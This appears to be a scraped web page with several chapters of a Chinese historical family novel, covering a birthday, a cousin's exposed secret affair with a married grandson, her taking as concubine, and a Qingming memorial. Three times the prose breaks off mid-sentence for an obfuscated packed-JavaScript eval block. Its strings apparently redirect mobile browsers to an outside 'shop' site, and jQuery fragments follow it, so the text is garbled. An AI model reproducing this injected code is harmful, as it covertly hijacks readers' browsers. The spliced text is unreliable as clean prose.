“不知道。”映雪红了脸,“我倒盼着是个丫头。我时常想怪不得老太太喜欢女孩,先前我家里没有姐妹,来了方知道姐妹多的好处。” 瑷宁当然明白,映雪不过嘴上说说而已,谁不盼着头个儿是男孩?只有自己,才真正是哪怕男女,只要得一个。 心里又一阵酸,便道:“喜不喜欢也不在男女。我听人说,三弟刚下生时,老太太不大高兴。那时还没有二妹妹三妹妹,家里只一个珍大姑娘。老太太见又是个男孩,便不待见,不待见了几年,可你看如今,不是全都补回来了?” 几人正谈笑,丫环来报说戚姑娘来了,紧接着,戚晚便轻快地走进屋。 她甜甜笑着向众人打招呼,瑷宁只淡笑着点点头。映雪拉了戚晚一起坐在床沿:“晚妹妹不用天天过来看我,离得怪远的。” “走走就到了,二表嫂不必心疼我。”戚晚拿出几张纸,“今天是画了几幅花样子顺便给二表嫂带来。” 瑷宁也凑着一起瞧了,便说:“戚晚妹妹真是心思细腻,将来不知哪个有福气的能娶了你去。” 戚晚脸通红,垂了头惆怅道:“我没有想着要嫁人,能一直陪着姨母便知足了。” 瑷宁见状极不耐烦,起身对映雪说:“也坐了半天了,改日再来。初五是由妹妹生日,到时候寿星还来拜你。” “哎呀,那怎么敢当,初五我一准去拜寿星。”映雪笑着说,“昨天大夫把了脉,其实现在就可以走动走动,只是……太太非要我多躺几天。”映雪不好提丈夫,脸又红了。 很快,便到了初五这日。 破晓时分,银荷没有惊动任何人,偷偷爬了起来。 天空才刚刚泛了白,园子中只听得鸟叫。池边小草正是最嫩的时候,在熹微晨光中显得毛茸茸的,让人不忍踩上去,新鲜的柳枝缀满米粒大的新芽,静静垂着,只最下面一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17014804|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻摆动,朦朦胧胧,如烟似雾。 “多美的春天。”银荷忍不住叹道,泪水涌上她的眼睛。 她走到亭子里,面西伏倒在地,啜泣起来。 她被曲展领进曲府时,并不知道自己的生辰。由心过生日时,对她说:“从此后,咱们一日过生辰便是。” 那时候,生日是比过年还要开心的一天。曲展会让人给两人裁一样的新衣,一样地打扮起来,并亲自下厨,做出两碗长寿面。 日子长了,银荷真将这一日看作是自己的生日。 由心的最后一个生日,并不是在家里过的。曲展故去前嘱咐她们及早进京。二月初五那日,她们在路上。银荷偷偷去客店求了厨娘,自己做了碗面端给由心,由心的泪落在碗中,又笑着说:“还好,我还有你。” “可我没有姐姐了。”银荷痛哭失声。 偷偷哭过一场,回去洗净脸,银荷做起了寿星,先去拜老太太,太太们,又等姐妹们来给她上寿。 瑷宁、花瑶最早到,正在屋里说话,戚晚也来了,坐下后,微微咳嗽了两声。 瑷宁说:“前些天,大太太一家子人都病了,一个人呆一间屋子,谁也不敢出来,可别给映雪染上,了不得。如今那边才好,你又来了病。” 戚晚忙笑说:“我不过是略受一点风,小毛病,和瑶妹妹一样。一起给大夫瞧过,说我们病都好得干干净净,一点事没有了。” 蝉影在一旁,先是嘀咕:“病好了也值当夸嘴,要我都羞死了。”又插话道,“可别说,本来我们姑娘是好好的,还不知是谁传了她。我要得了病,就躺在屋里,又不是没人把饭食端到跟前伺候着,还不知足,不好好养病,只管东跑西跑做什么?” 好丫头。瑷宁在心里赞道。从旁看着戚晚,抿着嘴笑。戚晚红着脸不作声。 到了如今,银荷仍不惯别的丫头忙碌,自己一人闲着,尤其今日,见大家都给她拜寿,心下不过意,便进去出来地拿东西招待人,也就没留意她们这场小口角。 她平时和花瑶最要好,见花瑶和她表姐戚晚不热络,也并不以为怪。她想各人脾气性子不同,总有投缘的不投缘的,反正想不到都是一般年纪的姑娘,哪个会对哪个当真厌恶。 但银荷知道,全家人中,只有映雪对每个姑娘都亲热,她也格外喜欢映雪。 这时映雪和花瑛、诗钰一道来了,银荷忙扶映雪进屋坐好。 映雪看见戚晚,问:“怎么好几天不见晚妹妹?” 戚晚脸红红的,支吾了几句,一时大家说话游戏,便把其它事不提。 到了晚饭时,瑷宁在花园里找了一间暖和阁子,安排下丰盛席面,姐妹们一起玩闹吃酒,入夜放散。 银荷回到自己院子,几个丫环还置了小桌,摆了酒菜,非要拉她入席。银荷推却不过,又喝了几杯酒,只觉头沉脚轻,就说着:“我可实在不能再喝了,你们玩吧,我得先去躺会儿。” 进屋正要卸去钗环,银荷一低头,发现妆台正中摆着小小一只雕花木盒,盒子仔细用红色绸带系起,像是贺礼,却并无信笺署名等。她举着出去问了一句,丫环们没看清,以为是谁制的胭脂膏子,便回说:“今早起进进出出的人太多,也记不得是哪个的,可能哪个小丫头过来,正巧没人在,顺手搁在那儿。明儿我们去问一问,就有了。” 银荷怕是谁送来礼物没谢到,失了礼,转身进去,在灯下打开来,一瞧之下不禁楞住。 盒子里装着一副耳坠,上面挂着樱桃大小一对珠子,光洁圆白,比上回花瑶丢了一只的那对珍珠,还要大,还要亮。 银荷拿着盒子,只觉得手里发烫,更不用说将耳坠取出来细瞧,但总归能看出它们很美。珍珠裹着一层银色的柔光,对着看时,就见自己的两团影子映在上面——毋庸置疑,这份礼物非常贵重。 谁能悄无声息送来这样的东西? 老太太给她两件精巧器玩,并一包金银锞子,三位太太俱送一身衣裙,瑷宁和映雪各送一套书和两匹尺头,其余姑娘们都是笔墨纸张、绣作手工、花草盆栽等物,也有相熟的丫环几人凑了份子以表心意。——向来花瑛花瑶过生日也是如此,姑娘几人并无大不同。 再没人会如此奢费,或者只除了一人。 银荷顿时一阵气恼。 虽然花澈嘴上轻佻,但与他满口里胡说八道相比,他的举止还不算太过分,她便当作他癖性如此,如今却再没法自我欺骗。 且不说通常情形下男子赠送首饰给姑娘到底是什么意图,花澈送,似乎还格外有些侮辱人的感觉在里面。这类事他一定没少干过,阔公子一掷千金和豪迈可不沾边,不过像随手抛出几枚铜板一样轻飘飘的。 唯一让她满意的是,东西是不声不响送来的。那么,等花澈回来,自己再悄悄还给他便是。银荷将手中盒子扔到了箱子最深处。 28. 瑷宁 瑷宁将早就告老解事的乳母又请了来,告诉花沛说:“想周妈妈了,这阵身子精神都不好,正需身边有个自家人照顾。” 花沛想把她的言下之意问个清楚:“难道我不算自家人,照顾不好你?”但实在没有底气,甚至都不知该从哪儿申辩,只好笑着答应:“那就请来吧,让她陪你说说话。” 于是,这段日子,花沛回到家,总见瑷宁和她乳母周氏在一起嘀嘀咕咕,见他来,周氏便走开了。花沛以为两人无外是闲话家常,并不放在心上。 这天饭罢撤了桌子,瑷宁将周氏请进屋,自己却借故出去。周氏唤住花沛:“大爷肯不肯听我啰嗦几句。” 花沛忙请她坐下,立在一旁:“妈妈有什么吩咐,请慢慢讲。” 周氏推让不敢坐,直到花沛也坐下,这才慢慢说起来,先将花家上下赞了一通,又掰指头数道:“……六、七、八,从我们奶奶出阁,算算已到第九个年头了。就是我向来说的,我们奶奶是嫁着了。便只有一桩不足——没能给老太太添个重孙子。” 周氏留神觑花沛神色,继续说下去:“这次我来,也见到了两位表姑娘。那位郭姑娘,我和我们奶奶都瞧着甚好,样貌性子不用说,人又能干,将来还能给我们奶奶搭个帮手。大太太那边,我们奶奶愿意诚心去求,想必也没什么不乐意的。大爷看呢——” 花沛涨着脸立起身:“这不可能是瑷宁的意思。” 周氏也忙站起来,赔着笑说:“要说我们奶奶凭空就起了这个兴头,谁也不能信;我要说我们奶奶心里从来没有疙瘩,那也不是实话。但大爷要是以为我们奶奶没解开这疙瘩,就是不知我们奶奶了。 “你们小两口是一团和气,大爷一向体谅,我们奶奶明镜似的。可别人未必不生想法、不怪着我们奶奶。她就犯难在这儿——既要在老爷太太跟前全大体,也要大爷顺意,还不愿意自个儿委屈。大爷知道,我们奶奶心气高,嘴巴硬,之前没有松口,但心里其实早存了念头。现今里里外外都考虑妥贴了,这才想着提出来。” 等了一等,见花沛不吭声,周氏又说:“我也虚活了几载,又从小看我们奶奶到大,就放胆说了——大爷要为着我们奶奶,就该为她想个长远。这对谁都是好事,大爷要还推托,倒是辜负我们奶奶了。” 花沛气得心头绞痛,瑷宁这是怎么了? “这事不用再提了,绝对不可能,我不答应。我不会让瑷宁为难。”他坚决地说,试图显得斩钉截铁,为的是彻底打消瑷宁的疑虑,阻止她可能的动作。 幸而是周嬷嬷传话。他根本不知道如何能当着瑷宁面讲,他心里很明白,拒绝的理由至少有一半完全不堪审视。 待瑷宁听到周氏转述,只是笑了笑:“早想到了,不愿便不愿罢。” “那戚姑娘——还是照原来打算?”周氏问。 “对。放心,就算捅上天去,理也在咱们一边。她做的事情总不能放任不管,没得闹起来传出去,累了家里几位小姐名声。” “斩草要除根啊。”周氏担忧道,“能打发干净了自然最好,太太就是生气,日子一长也忘了。但万一戚姑娘有什么说辞,没打发走,将来在太太跟前哭一哭,人家是姨甥俩儿,太太自然向着她,可不得怪上咱们……” “我不信她还能有本事留下。再说,真怎么样,不还有大爷吗。我瞧瞧他是怎么不教我为难。”瑷宁无所谓地说。 这日是休沐,逢此日子,老太太喜欢留儿孙在旁边多说几句,格外热闹。瑷宁挑了平素二老爷二太太给老太太问安的时候,同着花沛也去了。她本是想,有这么几个人在场就够了,等老太太听见,自然会将当事的关键人物唤来细问。 不过正在举行春闱,身为礼部大员的大老爷这几天不在家,因此,花潜夫妇两个也早了一会儿。老太太谈兴正高,瑷宁寻不出方便时候,片刻工夫,大太太、三太太、几位姑娘陆续都来了。二老爷便要告退,瑷宁不愿再耽搁,径直说:“老爷慢走一步,还有一事请老爷太太示下。” 二老爷先瞧一眼儿子。花沛恭然而立,脸上纳闷,心中紧张。二老爷便问瑷宁:“有何事?”又看向老太太,“家里的事情,母亲做主便是。” 瑷宁道:“前些日子有人说丢了几件东西,都是小物件,便没惊动人。只是我想咱们家里一向没这些事情,所以暗自差检了一番,如今已有眉目了。” “是怎么回事?”二老爷问。 “是一个小丫环,叫做小瑞的。原是在花园里打扫,并不进屋子。不过她既有存心,难免找不出机会。” 老太太便皱眉道:“一个小丫头如何来的胆子,还得问问背后有无人指使。” “老太太说得是。她爹娘就是门上当差的,进出回家都方便,不然也无处藏赃。不过她爹娘倒是老实人,说俱不知情,我看不像撒谎。那丫头也吓坏了,一心怕拿她见官。东西既已找回,我想并无必要,咱们总讲宽厚服人,不若远远开发他一家去乡下就完了。” 老太太叹道:“世人逐利,难免忘本。谷堆里还能没耗子,并不独在咱们家。我看这处治得妥当,望那丫头诚心改过,也就算了。” 众人皆无异议。唯有银荷听见小丫环偷盗,心里一沉,巴不得是件误会。又听到小瑞已经供认,更加难受,虽与自己毫无瓜葛,脸上不禁烧热起来。 这时瑷宁又说:“从这个小瑞口中还问出一事,令我难安。” 大家都等着听她讲,她说:“咱们家里的老规矩,冬日内院是戌正时关门挂锁,之后安排的巡夜共四组,每半个时辰巡一次。从正月初一到现在,除了上元节那日姑娘们出门观灯,回来晚些,但也是亥时末关了门,其余时间都是戌正时,绝无差错,管事的陈妈妈可以作证,她每日都亲眼看着各门落了锁。” 银荷又是吃了一惊。她清楚元宵那日自己和花澈回到府中,早已过了三更。花澈将她送至清圆居门口,一路俱是畅通,并没叫门,也没看见有巡夜之人。当时她不觉有异,现在心里不免起了不安,生怕瑷宁马上要说出这事并责怪她。 瑷宁说的却是另一件事:“厨房那边有个小门能出去,钥匙正好在小瑞她娘手里管着。小瑞先前哄过她娘,自己偷偷找锁匠另打了一把钥匙。她拿了一人好处,夜间会偷偷把门开了,放那人进出,卯时前再关上。” “是谁?”老太太奇怪道。 “是戚表姑娘。” 此语一出,屋内静得落针可闻。 先听见二太太喊道:“这小丫头怎么张嘴就敢混说。” 瑷宁平静地回答:“我也怕是搞错了,吩咐陈妈妈,对任何人都不得走漏消息,还按原来一样时辰开了锁,找人暗中守着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027384|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开头两天确无动静,但前天晚上看到戚姑娘约摸子时出去了,天亮前回来的。” 大家扭头看戚晚,她脸色红了又白,在众人的目光下,身子微微颤抖,但脖子挺得很直,嘴巴也紧紧抿着。 老太太示意邀月带姑娘们出去,又指了花沛、花潜说:“你们也先回去。” 待屋内只剩下三位太太,二老爷,瑷宁和映雪,老太太才转向戚晚,温和说道:“这儿就咱们几个人,戚丫头可是有什么苦衷,当着你姨母,你姨丈,还有你嫂子,尽管说,不用怕。” 戚晚上前,跪在老太太面前,只说:“是我做错了事,对不起老太太和姨丈、姨母照拂。” 几位姑娘出了屋子,俱不吭声。见没人注意,花瑛使个眼色,四个姑娘一起绕到后窗,悄悄地猫在窗下偷听。 银荷对戚晚的最深印象还是她一口回绝花澈那次,不能不对她略怀敬意。她朦朦胧胧地认定,戚晚是如戏本子里说的那些故事般,与某个穷书生私下相会。 她暗自想:“戚姑娘以为无人为她做主,其实老太太和二太太都很关心她。她不该一声不吭自行其是,寒了别人的心。或者,这里面另有隐情,不知会如何收场?” 屋内几人静默了一会儿,二太太激动地说:“晚儿,到底是因为何事?你别怕,都说出来。你一向是个好孩子,肯定是哪儿有误会。” 戚晚凄然一笑:“姨母这时还为我说话,可惜我无法为自己辩解。错了就是错了,只希望将来还能够再报答姨母和姨爹。”说着向二太太和二老爷磕了三个头,又跪着转向老太太说,“请老太太允我收拾几件东西,我今日便会离开。” “罢了,你先站起来。”老太太缓缓道,“若是这样,我们也不好强留你。当初你姨丈领你来,如今仍送你回你父亲家去。你父亲若要怪罪,我们只得尽力解释。——不是想让你难为,最好还能说明白,如若过几日有人来这里找你,也有个应对。” 戚晚脸红了:“不会有人找上门来,也不会有任何人说闲话,请老太太放心。” “事情多久了,家里有谁知道么?”二老爷问。 戚晚没答,只是摇了摇头。 尽管二老爷话音和气,站在窗外的花瑶还是禁不住一哆嗦。旁边花瑛和银荷感觉到了,都看她,无声地问:“你知道?” 花瑶慌忙摇头否认。 屋内,戚晚还在和大家僵持。面对老太太苦口婆心,二太太流泪相劝,甚至二老爷失了耐性,一时负手一时甩袖地踱来踱去,她也只是低头跪着,不肯再多吐一个字。 瑷宁暗自诧异,她没想到戚晚居然还有几分傲性。不过无论这中间有何隐秘,反正她必得离了花府,管是去哪里呢。而且,尤为令瑷宁心宽的是,刚刚偷看了花沛的脸色,就是一副愕然的样子,还有几分鄙夷,再无其它。她轻轻吁出一口气,静等最后的发落。 末了,老太太叹道:“罢了,我叫人帮你收拾好东西。” 戚晚大概是跪久了腿麻,一时没能站起来。 映雪因是双身子,老太太特意嘱咐她,与老爷太太等见过礼,仍旧坐下。刚才,映雪便一直坐在旁边,这时,她站起身,想去扶戚晚。 还未迈出步,一个人闯进屋,在戚晚身旁向老太太一跪:“这事怪不得戚姑娘,全是孙子的错。她去见的人是我。” 29. 戚晚 屋子里的人因问来问去,总得不着戚晚答话,已有点疲累不耐了;窗下银荷几人弯着腰,一直听不到关键,更是着急。只有大太太在旁边看好戏,不急不恼,含笑作壁上观。 这时,花潜突然进来,冲老太太一跪,又说戚晚是去见他,这句话真可谓石破天惊,所有人都目瞪口呆。 大太太立时气得浑身乱战,“你,你——”半晌没说出话,再瞥到含羞带耻的戚晚,双目喷出火来,“是这小狐狸作弄你替她遮丑!” 花潜答道:“确是孩儿的错,母亲只管责罚我。” 老太太先定下心,又问戚晚:“是这样?你去哪里见潜儿?” 戚晚张了张嘴,还没发声,先挂下两道泪。花潜吞吐地解释:“孙儿怕……这段时候夜里都在外头书房。” 大家不由自主看一眼映雪,又赶紧收回目光。映雪连嘴唇也全没了血色,脸上仿佛只余一双眼睛,其间的凄楚令人不忍视之。瑷宁从旁紧紧扶住她。 这便是实情无疑了,沉默片刻后,老太太厉声对花潜说:“你起来。我也不用你眼里心里有我,回去只需好生想想,如何向你父亲交代,如何向你二叔二婶交代。还有你媳妇——”她停下叹了一口气,“你怎么能这样糊涂!” 花潜哽咽道:“我知道是我不该,可是现在……我不能再错上加错。”他转向二老爷二太太,“千错万错都是侄儿一人,侄儿听凭处置,请不要再责怪了戚姑娘。若戚家大伯说起话来,也一应担在我身上。” “荒唐!”二老爷丢下一句,拂袖而出。 二太太还在惊惧不定,她顾不上花潜,对了戚晚说:“晚儿,这可是你自己愿意的?” 戚晚脸又红了,用几不可闻的声音答道:“是,姨母。” 映雪突然用力甩开瑷宁,向外走去。花潜注意到动静,立刻起身拦在她面前:“阿雪,就一句话。我只——”映雪脸上的神情把他的话堵在了口边。 两人无声拉扯了几下。老太太气道:“还闹什么,快送你媳妇回去。她有身子,哪经得起这些!” 花潜含愧伸手,要去扶映雪,几乎就在同时,映雪身子一软,晃悠着向旁倒去。“阿雪——”花潜抢上前抱住她,一边向外疾走一边喊,“快叫大夫!” 瑷宁和三太太怕旁人赶来照料不及,急急追在后面,老太太不放心,也出去了,二太太不敢再顾别的,忙跟上搀扶,院里一阵忙乱。大太太留到最后,离开前,死死钉了戚晚一眼:“让你那姨娘别打主意了,什么样的下作小娼妇我收拾不了?” 戚晚摇了一下,好像也要倒,但她只是用衣袖擦了擦脸上泪痕,慢慢站起身来,悄悄地走了。 窗外的几个人一听到话,早就忍不得,扒着窗向里张望了一场,把这番情形全瞧见了。花瑛攥紧了拳头,满面通红,泪水决堤般淌下来,冲花瑶喊道:“我还当她是好人,原来黄鼠狼给鸡拜年,没安好心!” “我也没想到。”花瑶虚弱地说。 花瑛推开她,跑了去。 花瑶哭起来:“我确实不晓得。” 银荷不由也落了泪。诗钰眼睛红红的,劝了几句,三个人慢吞吞拖着步子,各自回去烦闷。 . 整件事在花家掀起的轩然大波还有待慢慢平息。所幸映雪腹内胎儿无事,只照大夫嘱托,静养数日即可。映雪每日躺在床上,若花潜守在旁边,她便泪流不止。大太太深怕再刺激到她,只好把花潜唤开,花潜便趁她熟睡时回来,执了手,悄悄坐上片刻。 大老爷回家后,对儿子大发雷霆。 “戚姑娘在咱们家,一是亲戚,再是客人。以亲戚论,你该守兄妹之礼,从客人论,你该遵待客之道。纵是再丧伦败行,更忘了结发之情、妻子养儿育女之恩,满脑子下流|淫念之人,也会留一丝体统。岂能瞒天昧地,与妻子不商不议,对父母不禀不报,既无长辈主张,亦无礼法规束,竟自干出这等伤风败俗的勾当,置祖宗颜面于何处?” 花潜满面羞惭,无言以答。大太太急忙摒退四周,赶进来道:“潜儿什么时候没听过老爷的话?老爷只顾教训他,却不问这里面的因由。戚晚分明是弟媳给你那大侄儿预备的,是侄儿媳妇不情愿,在里头弄鬼,帮那小贱人出了这么个主意,引潜儿上钩,再抖搂出来,若是气得媳妇失了孩子,正好一箭双雕。” “住口!”大老爷怒喝,气得胡须直颤。“若果真如此,是说他与兄长争夺女人,还是说他诬蔑嫂子?哪一样都更要恶上百倍,又与禽兽何异?真是门风丧尽!传出去人家怎么看他,怎么看我花家?” 见他震怒,大太太只好噤声。 “糊涂!糊涂!”大老爷叹道,“是你儿子自己做下丑事,与别人何干?再编上谁也没用。若非他先招惹上去,少不了威逼利诱、巧语哄骗,人家好端端的闺女,何至清白毁于他手?不必多说了,今日不请出家法来治,难免将来还再生祸患。” 大老爷便出来唤人,大太太死命抱住,几乎哭晕过去。“咱们就这独一个根苗,长了这样大,如今也娶妻也生子,老爷要打煞他,不看我,还看她们娘俩儿。” 花潜这才免挨一顿板子,但他还是在祠堂罚跪了整整一日一夜,末了根本站不直腿,让人抬回了屋。 大太太心疼儿子,怕大老爷再生气,不敢挑起争执,心中不免将二太太和瑷宁又更恨了几重。 二老爷私下里对花瑶也有一番教诲:“家里诸位姐妹,惟你与她关系最亲。她虽较你长着两岁,但幼时丧父,家道艰难,心性见识上自然有所不足。你应以身作则,予她引导;平日学习玩耍中,更当谦虚礼让,戒骄戒躁,便有意见不和处,也是先反躬自省。岂能心存轻视,一味逞强,甚或言语相激,致她自卑无助,一时失衡、误入歧途?” 就算这指责再有失公允,花瑶竟无从为自己辩白,况且便有话辩,亦不敢说,甚至憋了两泡眼泪,都不敢洒下来。二老爷见她悔恨,也就罢了。花瑶病了两日,此后便一直恹恹的,每日借口复习旧课、习画练琴、针黹女红,将晨昏定省之外其它事一概推辞不应。 银荷去看过映雪几回,映雪倒肯勉强说笑数句。但银荷怕她劳神,也不好过多打扰。 花瑛寸步不离陪在映雪身旁。她向来和嫂子最好,就是花珍出嫁前亲姐妹俩也远没有这么好过。花瑛不想指责哥哥,对戚晚却用不着客气:“看她还有没有脸来见你。她要是敢来,我可有话讲!” 而所有这些争端、混乱、不平的中心,戚晚,却一直足不出户,除了二太太去看过她,丫环每日还传送饭菜,她的屋子静静的,好像空着。 仆妇们窃窃私语,对事情的缘起争议不休。关于如何收场,至少有一点大家很笃定:戚姑娘是会留在花家了。 确实,在一个宜嫁娶的吉日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17031128|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,戚晚装扮一新,先去了万紫园,又去了二太太那里,各磕了头,之后乘一顶小轿,被抬到大太太发话为她收拾出的一间偏房内。 尽管没有宴请宾客,到底不是偷偷摸摸有意瞒人,映雪的娘家立即得知了这个消息,大为不满。映雪是幺女,前头有两位哥哥,她是独一个女孩儿,全家人的掌上明珠。她与花潜的婚约几年前便已订下,因为父母舍不得,一直留待她满十九岁才完婚。如今成婚不过一年,刚刚有身孕,夫婿竟迎娶二房、新纳美妾,韩家人如何肯依。 韩家老爷在兵部做事,两个儿子则偏武夫一流,行事没那样斯文。且不论韩父在朝堂上向花家施压、韩家公子叫嚷着要与妹夫算账、花潜去丈人府上谢罪,映雪母亲更是亲自来了花府,见过女儿后便要将人接回去。最终还是老太太出面,赔了不少好话,这才作罢。 送走母亲后,映雪下了床,每日与众姐妹谈天玩笑,仍像过去一般,大家都绝口不提戚晚,戚晚也识趣似地极少露面。 银荷这才发觉,先前,自己对好些事情都没看明白。不过,现在也依然是只知其一,其二其三还在云雾里。 譬如说,上次戚晚弹琴时,她究竟是看出花澈不诚心,才不答应,还是对花澈提出的办法不满意? 而花澈对戚晚,到底是存心调笑,还是确实上了心,但怕老爷太太知晓了麻烦——那位俞雁姑娘,他不是也没教家里头知道么? 可是又想,花澈对自己,是什么风话都张口就来,全无所谓,半点没有怕哪个听见的样子。 转念至此,银荷万分恼火,干脆不去想了。 无人确切知晓戚晚脑中是什么念头。也许她后悔了,毕竟她现在也没讨得好。知情者说自头一夜起,花潜就从未向她屋里迈过半步。渐渐地大家都瞧出新姨娘不受宠,被大太太寻个由头撵出门,看来是或迟或早的事情。然而,好几天过去,大太太安安静静;那些准备看热闹的、施同情的,什么都没等到,慢慢也就散了。 这一段,因有诸般事项要忙,花沛和瑷宁说话比前一段还更少。 瑷宁万万没料到,捅出来是这样一桩事。此事往重了说,足可以伤及长、二两房的和气。可是,瑷宁最感愧疚的,还是对映雪。哪怕不提大老爷二老爷彼此脸上不好看,不提大太太二太太各自心怀埋怨,单只说伤了映雪一项,便令瑷宁追悔莫及。 这一向瑷宁不再猜忌花沛了,一门心思只顾着开解映雪、劝慰太太、替全家人分忧。她确实后悔,悔恨中又掺着点委屈。 花沛知她心里难受,不忍多说,可是,一字不提,倒显得生疏客气,不是夫妻相处之道。于是,只拣了最轻的,微微笑着说:“有什么打算也该先告诉我一声。固然是二弟不对,可何必非要当着全家、丝毫情面不留。二弟又不比三弟,脸皮厚,不怕臊。——不过总归还好,二弟不是多心之人,一两日也就过去了,不然,我真有点不好见他。” “我是多心之人,你怎么就能见我了?”瑷宁心里想着,泪珠便纷纷抛下来。她很少在丈夫面前哭,这时花沛若能抱住她,或许便不会有如此多不如意之处。可惜花沛虽然心生怜惜,温言哄劝安慰了半日,终究没有向妻子伸出双手。 在花沛心内诸多感想中,确实有那么一丝对花潜的羡慕:花潜是嫡长房长孙,迟早要挑起花家大梁,他竟真敢允自己干出这种事,而天也没有塌下来。 30. 清明 日子到了清明前。春光渐盛,老太太见大家每日无精打采,便说:“总闷在家里,还能不闷出毛病。我带你们出去转转,姑娘家该多看看花儿朵儿的。我记得咱们有个庄子挺干净宽敞,收拾一下倒还住得。” 说着就命人去知会庄子,提前准备。因庄子盛不下许多人,几位太太都留在家,映雪嫌在外居住不便,也未相强。诸事就绪后,花瑛花瑶两姐妹、诗钰银荷两位表姑娘、瑷宁搀着老太太,一行人坐了车,花沛骑马伴着,半日方到了郊区。 如今几年盛世太平,风调雨顺,万民富庶,大片闲田都锄作花海。这一带便有几百亩的桃林杏苑,十面香风,莺飞蝶舞,一派漫无边际,美不胜收。 自京城来踏青观景的游人比比皆是,大家全在赏花,银荷只略转了一下,便拉了小朝,悄悄走到无人处。 “东西都齐全了?” “放心吧,姑娘,地方我都看好了。”小朝指指旁边一座小土丘,“就在那小山后面,有个小林子,也有几株花。没人。” 银荷接过包袱,又叮嘱小朝瞅着些人,便匆匆向她所指之处走去。 原来由心的忌日正在这天。银荷早早就准备了祭奠之物,要小朝帮她带着。小朝年纪虽小,兼之好奇心又重,但对于银荷的事情,她从不多问多想,更不会往人前多嘴,反正姑娘做什么都自有道理。是以银荷对她十分放心,这次便要织雨回家歇两日,专带了小朝出来。 银荷翻过小山后,果然见到一小片稀疏的林地,此处背阴,但仍有几株花树静悄悄立着,只是那花儿就开得寂寥些。银荷顾不得其它,挑选一块平整的地方,摆好香炉,几样果子点心,焚了香,向由心所葬方向拜了几拜,默默发了誓愿。 她心中悲极,却偏偏哭不出来,只是呆呆跪坐在地上。 想起曾听曲展讲解历来悼亡之作,念至白香山追思友人的诗句,曲展评道:“淡语写浓情,正该如此。辞浅而意深,看来直白无奇,思之痛彻心扉,是为佳句。”之后他久久望着窗外,没有再讲下去。 当时银荷对这诗句并无太多感悟,只是看到由心泪下,不觉也心中凄楚。两人在桌下拉住手,那是她第一次为生死触动。直到如今,银荷才真正理解这一十四个字实是道尽了和至亲、知己、挚爱之人阴阳两隔,死生茫茫,无法言说的哀伤。 她缓缓地,一字一字吟诵出声:“君埋泉下泥销骨,我寄人间雪满头。” 听闻她念这句诗,一直隐在小山旁的人心中一痛,忍不住走了出来。 银荷听到身后声响,略惊了一下,回头见是卫维扬,心里一松,仍跪在地上未动,只仰首说:“是卫公子,你也来了,是踏青吧?” 卫维扬点点头。他今日实则是特意来找她的。他从花涛那里听说春游一事,一时冲动就寻机也来了此处,只盼或许能远远望见曲姑娘一眼,至于见到以后该如何,则未想那么多。 确是远远看到了,看到后又发觉,他的心愿其实是要上前说几句话,哪怕只是打个招呼。花家老太太也在,他前去向长辈问好无可非议,曲姑娘会明白他的心意吗。 卫维扬犹豫着在附近徘徊,不意真这样凑巧,竟然撞见她独自一人。正要上前说话,却见她摆出祭奠之物,于是他便悄悄等着。他本以为她是祭奠父母祖辈,但随即想到如是那样何须瞒人。卫维扬感到就要触及埋在她心中的一件事,他自己的心也突然变得怅惘又苦涩。 很显然她对那故人感情极深,那会是谁?为着尊重对方,他知道自己早该离开,但见她背影说不出的孤单,又实在不能移开步子,仿佛那样就是撇下了她。 直等她念出那句诗,卫维扬再也无法站在一旁。 他在银荷身边半蹲下,虽不忍得多问,但话还是出了口:“冒昧打扰了,曲姑娘容恕。不知姑娘在此凭吊何人?” “是我的……一位知交好友,今日是她的忌辰。” “曲姑娘与友人情意深厚,令人动容。还望姑娘节哀,慰他于泉下。——他一定不愿看到姑娘如此伤心。” “我知道,她希望我……她什么都为我打算,就如我的亲姐姐一般。”银荷喃喃说。 卫维扬愣住,转瞬便自愧起来,自己竟还是看轻了这位姑娘。他坦诚地说:“原来曲姑娘的朋友是位女子,请姑娘原宥我的浅薄。” 银荷有些惊讶地看着他。卫维扬解释道:“我原以为姑娘凭吊的是位公子,不想错看了姑娘,我很惭愧。请别误会,我的意思不是说姑娘和男子交友,就当轻视姑娘。只是我不该想不到,女子间当然会有这般深沉真挚的感情,是我亵渎了姑娘对友人的情谊。” 银荷微微摇头,凄然道:“卫公子不必如此说,世间情谊原无高下之分,只是对我来说,此前便只有这么一位姐姐。若尘间无我,怕无人再记得她,尘间有我,不过踽踽而行,所以伤心。” “她故去多久了。” “一年前,就是我离开矴州来这里时。在她故去前,我们拜了姐妹。其实我们俩自幼相知,早就如姐妹一般,同处念书、玩耍,那时的日子很欢喜……凡我所知、所懂得的,全赖姐姐教我;我所有,亦是姐姐……要没有她,就没有今日的我……” 